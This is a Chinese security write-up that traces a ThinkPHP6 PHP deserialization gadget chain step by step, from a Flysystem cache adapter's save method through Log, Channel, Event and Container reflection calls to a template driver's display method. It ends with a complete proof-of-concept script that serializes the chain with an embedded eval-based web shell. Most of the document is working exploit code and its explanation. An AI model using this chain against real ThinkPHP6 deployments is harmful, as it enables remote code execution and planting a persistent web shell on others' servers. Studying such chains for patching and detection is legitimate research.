细说将反射调用加入pop链

背景

在之前写thinkphp5的反序列化利用链的时候就一直想将反射调用写成利用链的一部分

但是失败了,反射调用存在一些限制,算是个小总结

  • 被调用的类的构造方法中不能存在接口参数,类参数和其他类型都无所谓
  • 要想反射调用可用
    • 被反射的类的构造方法,可以进一步发掘
    • 或者反射调用的方法就是pop链执行的终点
      • 因为被调用的类是一个新的实例,不存在我们反序列化的哪些数据
      • 可控的就是调用方法时的传参,无法再进一步了

以流程跟踪的方式,非漏洞发现角度编写

ThinkPHP6反序列化利用链的挖掘

首先我确定了终点

Php类的display方法,此方法可以完成代码执行,算的上是完美终点

1612771611223

再来确定入口点

AbstractCachesave方法,主要是继承这个抽象类的方法比较多

1612771668520

而存在反射调用的点就是Container

1612771759598

详细过程

析构之后,Adapter类继承自AbstractCache

遂调用Adapter类的save方法

1612771898011

$this->adapter是可控的

此处可以调用任意类的has方法,或者触发__call方法

选择一处__call方法

Log类的__call方法摆脱了不同类之间has方法的反复调用

1612772062912

此时的method值为has$patameters为任意可控值

跟进log方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function log($level, $message, array $context = []): void
{
$this->record($message, $level, $context);
}
...
...//此时$level为has,$message为任意可控值
...
public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
{
$channel = $this->getConfig('type_channel.' . $type);

$this->channel($channel)->record($msg, $type, $context, $lazy);

return $this;
}
...
...//msg->has,type->任意可控值
...

这时进入了getConfig,需要返回一个完全可控的值

1612772360013

这种调用方式,首先需要类里面存在config这个变量,其次这个变量的修饰符时public

我选择另外一种

可以调用任意类的__get方法,返回一个可控的对象,类似如下View

1612772544960

再调用返回对象的get方法,返回一个完全可控的值即可,如下Config

1612772629177

此时$channel值完全可控

1612772703999

跟进channel方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function channel($name = null)
{
if (is_array($name)) {
return new ChannelSet($this, $name);
}

return $this->driver($name);
}
...
...//name->任意可控值,选择进入driver方法
...
protected function driver(string $name = null)
{
$name = $name ?: $this->getDefaultDriver();

if (is_null($name)) {
throw new InvalidArgumentException(sprintf(
'Unable to resolve NULL driver for [%s].', static::class
));
}

return $this->drivers[$name] = $this->getDriver($name);
}
...
...//name->任意可控值
...
protected function getDriver(string $name)
{
return $this->drivers[$name] ?? $this->createDriver($name);
}
...
...//$this->drivers[$name]完全可控,可以返回一个类对象
...

此时可以调用任意类的record方法

  • msg->has
  • type->任意可控值
  • 其余默认

进入Channel类的record方法

1612773062457

$this->lazy可控,进入save方法

save方法中可以调用任意类的trigger方法

1612773141616

但是参数是一个类得实例

全局搜索trigger方法

只有Event类的trigger方法没有对参数类型进行限制

1612773275936

后续发现这里需要参数净化,不然传到display方法就是个类的实例

分析参数可知,共三个

  • event:类型无限制
  • params:类型无限制
  • once:bool

寻找参数净化方法,此时我一般选择array_unshift,向数组的最前插入数据

找到Handler类的__call方法,简直完美

1612773544724

经过参数净化,传入trigger方法的三个参数均已可控

进入trigger的参数

1612774183185

通过$this->listener[$event]取得listeners的值

1612774223124

进入dispatch方法,$event就是键值对的值,设置为数组,params参数可控

1612774261765

进入某个类的invoke方法

此时

  • $this->app可控
  • $call可控,为数组
  • $params可控

进入Container类的invoke方法

1612774289952

跟进invokeMethod方法

1612774421194

跟进invokeClass方法

通过反射返回一个对象的实例

1612774329878

回到invokeMethod方法后,进行参数绑定

1612774373863

$vars为可控的参数值

$class为可控的调用的任意类的任意方法

进入Php类的display方法

1612774386747

end

1612774469773

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
namespace League\Flysystem\Cached\Storage{
use think\Log;
abstract class AbstractCache
{
protected $autosave = false;
public $adapter;
public $file;
}
class Adapter extends AbstractCache
{
public function __construct()
{
$this->adapter = new Log();
$this->file = "aaa";
}
}
}
namespace League\Flysystem{
use think\Event;
class Config{
protected $settings;
public function __construct()
{
$this->settings['log.type_channel.has'] = "bbb";
}
}
class Directory{
protected $path;
protected $filesystem;
public function __construct()
{
$this->path = false;
$this->filesystem = new File(new File(1));
}
}
class File{
protected $path;
protected $filesystem;
public function __construct($obj)
{
$this->path = '<?php @eval($_REQUEST[\'img\']);'; //此处的代码要与下面的代码一致
if (is_object($obj)){
$this->filesystem = $obj;
}else{
$this->filesystem = new Event();
}

}
}
}
namespace think{
use League\Flysystem\Config;
use think\log\Channel;
abstract class Manager{
protected $drivers;
}
class Log extends Manager{
protected $app;
protected $drivers;
public function __construct()
{
$this->app = new View();
$this->drivers['bbb'] = new Channel();
}
}
class View{
protected $data;
public function __construct()
{
$this->data['config'] = new Config();
}
}
class Event{
protected $listener;
protected $app;
public function __construct(){
$this->listener['<?php @eval($_REQUEST[\'img\']);'] = [['think\\view\\driver\\Php','display']]; //key值与上面的一致
$this->app = new Container();
}
}
class Container{
}
}
namespace think\log{
use League\Flysystem\Directory;
class Channel{
protected $lazy = false;
protected $event;
protected $name;
public function __construct(){
$this->event = new Directory();
$this->name = "ccc";
}
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
$a = new Adapter();
echo base64_encode(serialize($a));
}